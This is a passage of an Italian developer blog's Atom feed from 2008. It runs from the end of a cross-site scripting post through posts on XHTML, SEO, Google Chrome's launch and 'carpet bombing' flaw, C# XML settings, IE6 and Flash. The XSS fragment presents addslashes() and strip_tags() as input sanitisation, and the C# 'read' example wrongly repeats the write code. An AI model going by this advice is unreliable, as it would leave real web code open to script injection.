spyurl.com, ma "spyurl.com" potrebbe essere in una forma codificata, tale da apparire meno "sospetta", specialmente ai principianti di Internet.&lt;br /&gt;&lt;br /&gt;Si può "bonificare" l'input mediante la funzione addslashes() che aggiunge una barra davanti a qualsiasi virgoletta semplice ('), doppia ("), backslash(\) e al simbolo di NULL (\0). Esistono comunque altre funzioni per rendere più sicuro l'input, come strip_tags().&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-2935081512948412026?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/2935081512948412026/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/tecnica-di-scripting-corss-site.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2935081512948412026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2935081512948412026'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/tecnica-di-scripting-corss-site.html' title='Tecnica di scripting corss-site'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_o4CtEdXe-DM/SMDI5ZkLEXI/AAAAAAAAAIk/0P74PI-rUtQ/s72-Rc/xsswarning.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-665375714152287985</id><published>2008-09-05T06:23:00.005+02:00</published><updated>2008-09-05T06:30:04.686+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><category scheme='http://www.blogger.com/atom/ns#' term='Xml'/><title type='text'>Il salto di qualità tra HTML e XHTML</title><content type='html'>&lt;div style="text-align: justify"&gt;Molti pensano che XHTML sia una tecnologia complicata che richiede di imparare un approccio totalmente nuovo alla creazione delle &lt;br /&gt;pagine Web. Ma non è così, la verità è che XHTML non è poi così ben diverso da HTML. La versione più recente di HTML ha risolto molti dei problemi delle versioni precedenti, perciò il salto tra HTML e XHTML è breve.&lt;br/&gt;&lt;br /&gt;Il processo di conversione da un documento HTML a XHTML comporta modifiche di minore entità nella codifica.&lt;br /&gt;Di seguito elenco i principali requisiti dei documenti XHTML che dovreste tenere presenti quando intendete elevare documenti HTML agli standard XHTML.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Aggiungere una DTD (document type declaration) all'inizio della pagina.&lt;/li&gt;&lt;li&gt;Dichiarare una DTD XHTML nella document type definition.&lt;/li&gt;&lt;li&gt;Dichiarare un namespace XHTML nell'elemento html.&lt;/li&gt;&lt;li&gt;Accertarsi che gli elementi head e body siano presenti.&lt;/li&gt;&lt;li&gt;Portare l'elemento title in prima posizione all'interno dell'elemento head.&lt;/li&gt;&lt;li&gt;Trasformare i nomi degli elementi e degli attributi in minuscolo.&lt;/li&gt;&lt;li&gt;Accertarsi che gli elementi e degli attributi in minuscolo.&lt;/li&gt;&lt;li&gt;Accertarsi che gli elementi non vuoti abbiano il tag finale.&lt;/li&gt;&lt;li&gt;Accertarsi che gli elementi vuoti consistano di un tag vuoto o di una coppia di tag iniziale e tag finale.&lt;/li&gt;&lt;li&gt;Assegnare valori agli attributi.&lt;/li&gt;&lt;li&gt;Racchiudere i valori attributo tra virgolette.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Noterete che la maggior parte dei requisiti sopra riportati evidenzia il maggior grado di strutturazione insito in XHTML. Fortunatamente potete modificare la maggior parte dei documenti HTML secondo queste linee guida senza troppe difficoltà e sofferenza.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-665375714152287985?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/665375714152287985/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/il-salto-di-qualit-tra-html-e-xhtml.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/665375714152287985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/665375714152287985'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/il-salto-di-qualit-tra-html-e-xhtml.html' title='Il salto di qualità tra HTML e XHTML'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-4009927165630817825</id><published>2008-09-05T04:05:00.010+02:00</published><updated>2008-09-05T04:31:26.997+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Posizionamento sui motori di ricerca.</title><content type='html'>&lt;div style="text-align: justify;"&gt;Per chi sviluppa siti internet è importante effettuare un buon posizionamento sui motori di ricerca. Approfondiamo, quindi, l'argomento SEO:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;E' necessario che il codice rispetti gli standard descritti dal W3C&lt;/li&gt;&lt;li&gt;contenuti ben organizzati e strutturati, utilizzando codice semanticamente corretto&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Iniziando da questa base è possibile ottenere buoni risultati, ma la cosa più importante da tenere presente è che un sito per essere trovato ha bisogno di contenuti da offrire. Molti contenuti. E’ per questo motivo che i blog sono così ben visti dai motori di ricerca: sono una fonte continua di notizie in continuo aggiornamento, ed il patrimonio che mettono a disposizione degli utenti aumenta continuamente, ad ogni post.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Non è però tutto così facile. Ci sono diverse tipologie di contenuti completamente invisibili ai motori di ricerca, inutili ai fini del posizionamento e controproducenti se usate su larga scala.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Iframes&lt;/li&gt;Gli Iframe non sono validi usando doctype XHTML. Inoltre visualizzare dei contenuti in questo modo significa non sfruttarli pienamente, perchè gli spider dei motori di ricerca non leggeranno ciò che si trova all’interno della finestra dell’Iframe.&amp;nbsp;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Flash&lt;/li&gt;Il tanto discusso flash è spesso inutile ed impossibile da leggere per i motori di ricerca. Il bello è che il modo per far indicizzare comunque i contenuti ci sarebbe, ad esempio fornendo delle alternative accessibili. Inutile dire che non viene quasi mai usato in maniera corretta.&amp;nbsp;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;AJAX&lt;/li&gt;Spesso sinonimo di Web 2.0, AJAX è una tecnologia da usare con cautela. Ne ho parlato anche in passato, riempire un sito di javascript per generare i contenuti è una pessima idea ai fini del posizionamento.&amp;nbsp;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Video e Audio&lt;/li&gt;Come immaginerete, tutto ciò che è video e audio non può essere indicizzato da Google (almeno per ora..). Per risolvere il problema basterebbe rispettare i requisiti per un sito accessibile, ovvero affiancare delle trascrizioni.&lt;/ul&gt;&lt;ul&gt;Cosa fare se un sito ha tutti questi elementi che non verranno mai letti da un motore di ricerca? Lavorare a posteriori non è mai facile, ma inizialmente puntare sulla pulizia del codice può aiutare molto. Utilizzare il corretto title sulle proprie pagine, eliminare i meta tag obsoleti, fare attenzione ai titoli e magari passare ad una doctype di tipo XHTML sono i primi passi da compiere.&lt;/ul&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-4009927165630817825?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/4009927165630817825/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/posizionamento-sui-motori-di-ricerca.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/4009927165630817825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/4009927165630817825'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/posizionamento-sui-motori-di-ricerca.html' title='Posizionamento sui motori di ricerca.'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-184732493984892716</id><published>2008-09-04T02:44:00.001+02:00</published><updated>2008-09-04T02:46:22.285+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Web News'/><title type='text'>Google Chrome: alla scoperta del nuovo browser</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_o4CtEdXe-DM/SL71-EvqiNI/AAAAAAAAAIE/Ad0DxLmB8VQ/s1600-h/chrome-205_noshadow.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_o4CtEdXe-DM/SL71-EvqiNI/AAAAAAAAAIE/Ad0DxLmB8VQ/s200/chrome-205_noshadow.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5241897463080192210" /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;Google ha lanciato da pochi giorni il nuovo browser: Chrome. Vediamo di analizzare il software ed i suoi eventuali problemi.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ho installato Chrome e devo dire che mi ha veramente stupito, non pensavo minimamente che fosse un browser al livello degli altri per il semplice motivo che un browser nuovo è sempre un pò spartano e pieno di difetti, ma ho dovuto ricredermi. La sua velocità nell'aprire le pagine web è veramente incredibile e questo è dovuto ad un motore javascript che è stato realizzato da zero.Pseudotecnico sul suo blog &lt;a href="http://www.pseudotecnico.org/blog/2008/09/02/veloce-e-veloce/"&gt;ha pubblicato&lt;/a&gt; un confronto con Firefox 3 e fino ad ora Chrome risulta il più veloce e 3 volte più leggero, in termini di cunsumo di CPU, rispetto agli altri.&lt;br /&gt;&lt;span class="fullpost"&gt;Utilizza WebKit per il rendering delle pagine, lo stesso di Safari 3.1. I siti realizzati secondo gli standard web non avranno quindi grandi problemi di visualizzazione. La novità sta nella barra degli indirizzi che serve anche come casella di ricerca, il che rende il browser con un'interfaccia molto leggera e utilizzabile. Per gli sviluppatori è disponibile una console Javascript, un debugger e un ispezionamento degli elementi simile a Firebug. Una caratteristicha davvero importante è nei tab, ogni tab occupa un processo diverso, questo evita, in caso di crash, la chiusura dell'intero browser come avviene in tutti gli altri.&lt;br /&gt;&lt;br /&gt;Parliamo dei difetti: Chrome non permette l'aggiunta di estensioni, questo significa che add-on come AdBlock probabilmente non potrà mai essere utilizzato poichè Google non consentirà mai di nascondere le pubblicità sul proprio browser. Un altro grosso problema, che sicuramente sarà risolto a breve, è sul lato della sicurezza. Chrome è stato infatti costretto a subire il primo forte colpo alla credibilità del proprio browser, colto da una vulnerabilità che avrebbe tranquillamente potuta essere evitata. La grave vulnerabilità è tale da aprire le porta ad un possibile attacco di massa portando l'utente a visitare un sito web che possa avviare il download maligno e l'esecuzione successiva: chiamato "carpet bombing". Questo bug , deriva dalla vecchia versione di Webkit su cui tanto Safari quanto Chrome sono basati, ecco &lt;a href="http://raffon.net/research/google/chrome/carpet.html" target="_blank"&gt;un esempio&lt;/a&gt; dimostrativo di come questo avviene. Un'altra nota dolente sta negli aggiornamenti. Come scritto nella licenza d'uso del software, Google si riserva il diritto di installarli automaticamente senza che l'utente possa fare niente.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;In conclusione il nuovo browser, difetti a parte poichè è un prodotto ancora in BETA, è davvero innovativo e non mi stupirei se guadagnasse quote di mercato interessanti. Purtroppo per noi sviluppatori sarà un'altro browser su cui testare le nostre pagine web e la cosa diventa più complicata ma ci si aspetta che rispetti il W3C almeno quanto Firefox.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-184732493984892716?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/184732493984892716/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/google-chrome-alla-scoperta-del-nuovo.html#comment-form' title='2 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/184732493984892716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/184732493984892716'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/google-chrome-alla-scoperta-del-nuovo.html' title='Google Chrome: alla scoperta del nuovo browser'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_o4CtEdXe-DM/SL71-EvqiNI/AAAAAAAAAIE/Ad0DxLmB8VQ/s72-c/chrome-205_noshadow.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-4699289530152009824</id><published>2008-09-04T01:23:00.017+02:00</published><updated>2008-09-04T02:44:00.143+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>C#: Salvare e caricare contenuti Textbox con xml</title><content type='html'>Ancora oggi, purtroppo, durante lo sviluppo di un'applicazione vengono utilizzati file .ini, metodo ormai obsoleto. Vediamo come salvare il testo contenuto nelle TextBox di un Form in un file .xml e successivamente ricaricare i dati nei rispettivi TextBox.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Esempio file app.config&lt;/li&gt;&lt;br /&gt;&lt;code class="csharpcode"&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;br /&gt;&amp;lt;configuration&amp;gt;&lt;br /&gt;&amp;lt;appSettings&amp;gt;&lt;br /&gt;&amp;lt;app key="Nome" value="Mario Rossi" /&amp;gt;&lt;br /&gt;&amp;lt;app key="Email" value="mariorossi@blabla.it" /&amp;gt;&lt;br /&gt;&amp;lt;/appSettings&amp;gt;&lt;br /&gt;&amp;lt;/configuration&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;li&gt;Scrittura del file app.config&lt;/li&gt;&lt;br /&gt;string ConfigFile = "app.config";&lt;br /&gt;FileStream fs = new FileStream(ConfigFile, FileMode.Create);&lt;br /&gt;XmlTextWriter w = new XmlTextWriter(fs, Encoding.UTF8);&lt;br /&gt;&lt;br /&gt;w.WriteStartDocument();&lt;br /&gt;w.WriteStartElement("configuration");&lt;br /&gt;w.WriteStartElement("appSettings");&lt;br /&gt;w.WriteStartElement("app");&lt;br /&gt;w.WriteAttributeString("key", "Nome");&lt;br /&gt;w.WriteAttributeString("value", textBoxUser.Text);&lt;br /&gt;w.WriteEndElement();&lt;br /&gt;w.WriteStartElement("app");&lt;br /&gt;w.WriteAttributeString("key", "Email");&lt;br /&gt;w.WriteAttributeString("value", textBoxEmail.Text);&lt;br /&gt;w.WriteEndElement();&lt;br /&gt;w.Flush();&lt;br /&gt;fs.Close();&lt;/code&gt;&lt;code class="csharpcode"&gt;&lt;li&gt;Lettura del file app.config&lt;/li&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;string&lt;/span&gt; ConfigFile = &lt;span class="str"&gt;"app.config"&lt;/span&gt;;&lt;br /&gt;FileStream fs = &lt;span class="kwrd"&gt;new&lt;/span&gt; FileStream(ConfigFile, FileMode.Create);&lt;br /&gt;XmlTextWriter w = &lt;span class="kwrd"&gt;new&lt;/span&gt; XmlTextWriter(fs, Encoding.UTF8);&lt;br /&gt;&lt;br /&gt;w.WriteStartDocument();&lt;br /&gt;w.WriteStartElement(&lt;span class="str"&gt;"configuration"&lt;/span&gt;);&lt;br /&gt;w.WriteStartElement(&lt;span class="str"&gt;"appSettings"&lt;/span&gt;);&lt;br /&gt;w.WriteStartElement(&lt;span class="str"&gt;"app"&lt;/span&gt;);&lt;br /&gt;w.WriteAttributeString(&lt;span class="str"&gt;"key"&lt;/span&gt;, &lt;span class="str"&gt;"Nome"&lt;/span&gt;);&lt;br /&gt;w.WriteAttributeString(&lt;span class="str"&gt;"value"&lt;/span&gt;, textBoxUser.Text);&lt;br /&gt;w.WriteEndElement();&lt;br /&gt;w.WriteStartElement(&lt;span class="str"&gt;"app"&lt;/span&gt;);&lt;br /&gt;w.WriteAttributeString(&lt;span class="str"&gt;"key"&lt;/span&gt;, &lt;span class="str"&gt;"Email"&lt;/span&gt;);&lt;br /&gt;w.WriteAttributeString(&lt;span class="str"&gt;"value"&lt;/span&gt;, textBoxEmail.Text);&lt;br /&gt;w.WriteEndElement();&lt;br /&gt;w.Flush();&lt;br /&gt;fs.Close();&lt;/code&gt;&lt;br /&gt;&lt;li&gt;Lettura del file app.config&lt;/li&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; NameValueCollection AppSettings;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; load_Config()&lt;br /&gt;{&lt;br /&gt;&lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;&lt;span class="kwrd"&gt;if&lt;/span&gt; (File.Exists(ConfigFile))&lt;br /&gt;{&lt;br /&gt;XmlDocument oXml = &lt;span class="kwrd"&gt;new&lt;/span&gt; XmlDocument();&lt;br /&gt;oXml.Load(ConfigFile);&lt;br /&gt;XmlNodeList appList = oXml.GetElementsByTagName(&lt;span class="str"&gt;"appSettings"&lt;/span&gt;);&lt;br /&gt;AppSettings = &lt;span class="kwrd"&gt;new&lt;/span&gt; NameValueCollection();&lt;br /&gt;&lt;span class="kwrd"&gt;foreach&lt;/span&gt; (XmlNode aNode &lt;span class="kwrd"&gt;in&lt;/span&gt; appList)&lt;br /&gt;{&lt;br /&gt;&lt;span class="kwrd"&gt;foreach&lt;/span&gt; (XmlNode aKey &lt;span class="kwrd"&gt;in&lt;/span&gt; aNode.ChildNodes)&lt;br /&gt;{&lt;br /&gt;AppSettings.Add(aKey.Attributes[&lt;span class="str"&gt;"key"&lt;/span&gt;].Value, aKey.Attributes[&lt;span class="str"&gt;"value"&lt;/span&gt;].Value);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;textBoxUser.Text = AppSettings[&lt;span class="str"&gt;"Nome"&lt;/span&gt;];&lt;br /&gt;textBoxEmail.Text = AppSettings[&lt;span class="str"&gt;"Email"&lt;/span&gt;];&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;span class="kwrd"&gt;catch&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;MessageBox.Show(&lt;span class="str"&gt;"Errore lettura file di configurazione."&lt;/span&gt;);&lt;br /&gt;}&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Non dimenticare ovviamente di aggiungere i namespace System.Xml, System.Collections.Specialized e System.IO.&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-4699289530152009824?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/4699289530152009824/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/c-salvare-e-caricare-contenuti-textbox.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/4699289530152009824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/4699289530152009824'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/c-salvare-e-caricare-contenuti-textbox.html' title='C#: Salvare e caricare contenuti Textbox con xml'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-8542842196426131144</id><published>2008-09-03T20:15:00.007+02:00</published><updated>2008-09-03T21:05:11.390+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><category scheme='http://www.blogger.com/atom/ns#' term='Web News'/><title type='text'>Basta con IE6! Si propone Save The Developers</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_o4CtEdXe-DM/SL7VTo9SHkI/AAAAAAAAAH0/LnDMrtSgJHg/s1600-h/savethedevelopers.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_o4CtEdXe-DM/SL7VTo9SHkI/AAAAAAAAAH0/LnDMrtSgJHg/s200/savethedevelopers.png" alt="" id="BLOGGER_PHOTO_ID_5241861549694524994" border="0" /&gt;&lt;/a&gt;Parlando di browser, il nemico giurato di tutti gli sviluppatori è l’ormai noto Internet Explorer 6. Sembra veramente difficile eliminarlo dai computer di tutto il mondo, soprattutto dopo che la Microsoft ha fatto diventare opzionale l’aggiornamento di IE7. Da qualche mese è nata un’iniziativa chiamata &lt;a href="http://www.savethedevelopers.org/lang/it/"&gt;Save The Developers&lt;/a&gt;, che si  propone di far sparire IE6 senza troppi mezzi termini. Qualche riga di  &lt;strong&gt;Javascript&lt;/strong&gt;, ed il sito che si vuole visitare &lt;strong&gt;mostrerà  una pagina&lt;/strong&gt; che suggerisce di scaricare un browser alternativo come IE7,  Firefox, Safari o Opera.&lt;br /&gt;&lt;br /&gt;Niente velati consigli, ma un vero e proprio muro contro gli utilizzatori del  vecchio browser Microsoft. Quasi una moderna vendetta, sulla falsariga dei siti  anni ‘90 che riportavano la frase &lt;em&gt;“ottimizzato per Internet Explorer  6″&lt;/em&gt;.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Sono molti &lt;a href="http://www.savethedevelopers.org/supporters/"&gt;i  sostenitori&lt;/a&gt; dell’iniziativa, anche se il numero di siti che partecipano  attivamente installando lo script non è noto.&lt;br /&gt;&lt;br /&gt;Nonostante le buone intenzioni però, non sono d’accordo sul metodo. Conosco  bene i problemi relativi allo sviluppo su IE6, e sarei ben contento anche io di  vederlo sparire, ma &lt;strong&gt;limitare l’esperienza degli utenti&lt;/strong&gt; a  seconda del browser utilizzato non credo sia la scelta corretta. Internet  dovrebbe essere &lt;strong&gt;accessibile a chiunque&lt;/strong&gt;, ed uno dei compiti  degli sviluppatori è raggiungere questo obiettivo, non ostacolarlo. Tralasciando i discorsi relativi al calo delle visite e alla perdita degli  utenti sopracitati, penso che il problema possa essere risolto solo ad un  livello superiore, da parte delle grandi aziende. La Microsoft però ha già  dimostrato di non voler forzare il passaggio, e sicuramente il flop di Windows  Vista non aiuta (Vista ha obbligatoriamente IE7). Resta da vedere come sarà  distribuito Explorer 8, ma per questo ci vorrà ancora del tempo. &lt;p&gt;Pensate che la strada intrapresa da Save The Developers sia corretta? Io per  il momento resto dubbioso, ma qualcosa potrebbe comunque muoversi. Non è un caso  che un servizio come il nuovo &lt;a href="http://www.apple.com/mobileme/"&gt;MobileMe&lt;/a&gt; targato Apple &lt;a href="http://blog.html.it/archivi/2008/06/11/ie6-bandito-da-mobileme.php"&gt;non  supporti IE6&lt;/a&gt;. Il futuro potrebbe essere più roseo per tutti, sviluppatori  compresi.&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-8542842196426131144?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/8542842196426131144/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/basta-con-ie6-si-propone-save.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/8542842196426131144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/8542842196426131144'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/basta-con-ie6-si-propone-save.html' title='Basta con IE6! Si propone Save The Developers'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_o4CtEdXe-DM/SL7VTo9SHkI/AAAAAAAAAH0/LnDMrtSgJHg/s72-c/savethedevelopers.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-6725567629893854508</id><published>2008-09-03T19:25:00.006+02:00</published><updated>2008-09-03T20:14:16.724+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><title type='text'>Flash e i motori di ricerca</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.thetechherald.com/media/images/200812/FlashLogo_4.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px;" src="http://www.thetechherald.com/media/images/200812/FlashLogo_4.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;Google ha annunciato una migliore indicizzazione dei contenuti Flash, in realtà però Flash continua ad avere ancora molti limiti e incompatibilità con i motori di ricerca&lt;br /&gt;Cerchiamo di capire perchè:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;1. Pagine non linkabili&lt;/li&gt;&lt;br /&gt;Sicuramente vi sarà capitato navigando nei numerosi siti realizzati utilizzando questa tecnologia di non poter linkare una pagina che a voi interessa. Questo può risultare molto scomodo se, per esempio, si vuole far vedere ad un amico una determinata pagina di un sito interamente in Flash, bisognerebbe quindi fornirgli le istruzioni per arrivare alla pagina desiderata.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;li&gt;2. Non si indicizzano link esterni&lt;/li&gt;&lt;br /&gt;E' una conseguenza del primo punto. I motori di ricerca infatti si basano anche sui link esterni per ordinare i risultati e sempre per il problema di prima si riuscirebbe solamente a posizionare la propia homepage e nient'altro.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;3. I testi spesso non sono formattati e selezionabili&lt;/li&gt;&lt;br /&gt;Spesso i testi dei siti realizzati in Flash non rispettano la formattazione in maniera accurata e a volte non sono nemmeno selezionabili per, eventualmente, essere stampati.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;4. Le regole SEO di base spesso non vengono seguite&lt;/li&gt;&lt;br /&gt;E’ possibile realizzare delle animazioni Flash e, osservando alcune regole di massima, cercare di farle indicizzare correttamente. Un suggerimento potrebbe essere caricare i contenuti formattati tramite un xml esterno. Nella maggior parte dei casi però chi sviluppa non conosce o non segue queste indicazioni, rendendo impossibile il lavoro dei motori di ricerca.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;5. Molti contenuti Flash non vengono comunque indicizzati&lt;/li&gt;&lt;br /&gt;Anche rivolgendo la massima attenzione nella 